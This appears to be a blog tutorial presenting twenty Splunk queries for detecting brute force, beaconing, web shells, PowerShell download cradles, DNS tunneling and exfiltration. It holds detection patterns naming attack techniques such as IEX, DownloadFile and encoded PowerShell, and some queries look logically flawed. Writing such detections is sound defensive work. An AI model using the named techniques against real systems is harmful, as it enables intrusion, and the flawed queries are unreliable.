What Are the Best Splunk Queries for Cybersecurity Monitoring?

Table of Contents

• Why Splunk Queries Are Critical for Cybersecurity
• Understanding SPL: Splunk’s Search Language
• 20 Must-Know Splunk Queries for Security Monitoring
• Quick Reference Table of All Queries
• How to Use and Customize These Queries
• Best Practices for Writing Splunk Security Queries
• Conclusion

Why Splunk Queries Are Critical for Cybersecurity

Cybersecurity is a data problem. Attackers leave traces in logs: failed logins, strange file access, odd network traffic. But most organizations generate millions of log events per day. You cannot read them all.

Splunk queries let you ask precise questions like:

• Who is trying to log in too many times?
• Is anyone downloading files at midnight?
• Why is this server talking to Russia?

A good query finds the needle in the haystack. A great query finds it before the attacker strikes again.

Understanding SPL: Splunk’s Search Language

SPL (Search Processing Language) is how you talk to Splunk. It is simple, powerful, and works like a pipeline.

Every query has three parts:

• Search: What data to look at (e.g., index=security)
• Pipe (|): Send results to the next command
• Commands: Filter, count, group, or chart (stats, where, timechart)

Example:

index=security EventCode=4625 
| stats count by user 
| where count > 20

This finds users with more than 20 failed logins.

You do not need to be a coder. Just learn a few commands, and you are ready.

20 Must-Know Splunk Queries for Security Monitoring

1. Brute Force Login Attempts

index=security sourcetype=WinEventLog:Security EventCode=4625 
| stats count by Account_Name 
| where count > 15 
| sort -count

Detects users with too many failed logins. Adjust 15 based on your environment.

2. Successful Login After Many Failures

index=security (EventCode=4625 OR EventCode=4624) 
| transaction Account_Name maxspan=5m 
| where eventcount > 10 AND searchmatch(EventCode=4624)

Finds brute-force attacks that eventually work. transaction groups related events.

3. Traffic to High-Risk Countries

index=firewall action=allowed dest_country IN ("CN", "RU", "IR") 
| stats count by src_ip, dest_ip 
| sort -count

Flags allowed connections to countries you do not trust.

4. Malware Beaconing (Regular Outbound Calls)

index=proxy 
| stats count, values(url) by src_ip 
| where count > 40 
| eval calls_per_min = round(count / 60, 2) 
| where calls_per_min > 0.9 AND calls_per_min < 1.1

Detects malware checking in every minute. Look for near-perfect timing.

5. Ransomware: Rapid File Renaming

index=endpoint sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11 
| stats count, values(TargetFilename) by Computer 
| where count > 150 
| sort -count

Uses Sysmon to catch processes renaming hundreds of files fast.

6. Privilege Escalation with sudo

index=linux sourcetype=linux_secure "sudo:" 
| regex _raw="sudo:.*COMMAND=.*(passwd|useradd|chown)" 
| stats count, values(user) by host, _raw

Tracks dangerous sudo commands that modify users or permissions.

7. Cleartext Passwords in Logs

index=* (password OR pwd OR passwd) 
| regex _raw=".*(password|pwd)=[^[:space:]]{4,}.*" 
| table _time, host, sourcetype, _raw

Finds logs accidentally storing passwords. Fix the app, not just the alert.

8. Web Shell Access

index=web url=*.php (url=*cmd* OR url=*shell* OR url=*eval* OR url=*system*) 
| stats count, values(clientip) by url 
| where count > 2

Detects access to common web shell files or dangerous PHP functions.

9. Lateral Movement via RDP

index=security EventCode=4624 logon_type=10 
| stats dc(WorkstationName) as sources, count by Account_Name 
| where sources > 3 
| sort -sources

Logon type 10 is RDP. Multiple sources using one account suggests credential reuse.

10. DNS Tunneling (Large Queries)

index=dns 
| stats sum(length(query)) as bytes, count by query, src_ip 
| where bytes > 1200 
| table src_ip, query, bytes, count

Attackers hide data in long DNS subdomains. This finds suspicious queries.

11. Rare or New Executables

index=security EventCode=4688 
| stats count, earliest(_time) as first_seen by ProcessName, Computer 
| eventstats avg(count) as avg, stdev(count) as std 
| where count < (avg - 2*std) OR first_seen > relative_time(now(), "-7d")

Finds processes running rarely or for the first time.

12. PowerShell Download Cradles

index=security sourcetype=WinEventLog:PowerShell/Operational EventCode=4104 
| regex ScriptBlockText=".*(WebClient|DownloadFile|IEX|Invoke-Expression).*" 
| table _time, Computer, User, ScriptBlockText

Catches one-line PowerShell scripts that download and run code.

13. Account Used from Many IPs

index=security EventCode=4624 
| stats dc(src_ip) as ip_count, values(src_ip) by Account_Name 
| where ip_count > 6 
| sort -ip_count

One user logging in from many IPs may mean stolen credentials.

14. New Service Installation

index=security EventCode=7045 
| stats values(ServiceName), values(ImagePath) by Computer 
| where ImagePath="*temp*" OR ImagePath="*downloads*" 
| table _time, Computer, ServiceName, ImagePath

New services from user-writable folders are often malicious.

15. Excessive Failed VPN Logins

index=vpn "fail" OR "denied" 
| stats count by user, src_ip 
| where count > 25 
| sort -count

Detects VPN brute-force or misconfigured clients.

16. Unusual Outbound Ports

index=firewall action=allowed dest_port NOT IN (80, 443, 53, 22, 3389) 
| stats count by src_ip, dest_port 
| where count > 50 
| sort -count

Most traffic uses standard ports. Others may be C2 or exfiltration.

17. Fileless Malware (Script in Memory)

index=endpoint EventCode=4688 ProcessName="*powershell.exe" 
| regex CommandLine=".*-WindowStyle Hidden.*|.*-EncodedCommand.*" 
| stats count by Computer, CommandLine

PowerShell running hidden or with encoded commands is suspicious.

18. Data Exfiltration via HTTP POST

index=proxy method=POST bytes_out>100000 
| stats sum(bytes_out) as total, values(url) by src_ip 
| where total > 500000 
| sort -total

Large outbound POSTs may mean data upload to attacker servers.

19. Login Outside Business Hours

index=security EventCode=4624 
| eval hour=strftime(_time, "%H") 
| where hour < 7 OR hour > 18 
| stats count by Account_Name, hour 
| where count > 5

Logins at 3 a.m. may be legitimate, but worth checking.

20. Disabled Antivirus

index=endpoint "disabled" OR "stopped" "antivirus" OR "defender" 
| stats values(_raw) by host, sourcetype 
| table _time, host, _raw

Finds events where AV is turned off, often before an attack.

Quick Reference Table of All Queries

How to Use and Customize These Queries

Follow these steps:

• Paste the query into Splunk’s search bar.
• Set time: Use “Last 15 minutes” for alerts, “Last 7 days” for tuning.
• Change index: Replace index=security with your index name.
• Save as alert: Click Save As > Alert. Set trigger: “number of results > 0”.
• Tune thresholds: Run over a week. Adjust counts to reduce noise.
• Add exclusions: NOT src_ip="192.168.1.*" for internal IPs.

Pro Tip: Use | tstats for speed on large data: | tstats count where index=security EventCode=4625 by _time span=1m

Best Practices for Writing Splunk Security Queries

• Start narrow: index=prod sourcetype=web, not index=*.
• Filter early: Put where right after index.
• Use stats to summarize, not table * .
• Include _time in results for context.
• Test with | head 50 to see sample output.
• Add comments: # Brute force detection.
• Schedule alerts every 1 to 5 minutes for real-time.
• Link alerts to dashboards for context.
• Review and tune weekly.

Conclusion

The best Splunk queries are simple, fast, and focused. They catch real attacks without drowning you in alerts. The 20 queries in this guide cover the most common threats: brute force, malware, privilege abuse, data theft, and more.

Start with one. Test it. Turn it into an alert. Then add another. Soon, you will have a full security monitoring program built on Splunk.

Because in cybersecurity, the right question at the right time can stop an attack cold. And with Splunk, you always have the answer.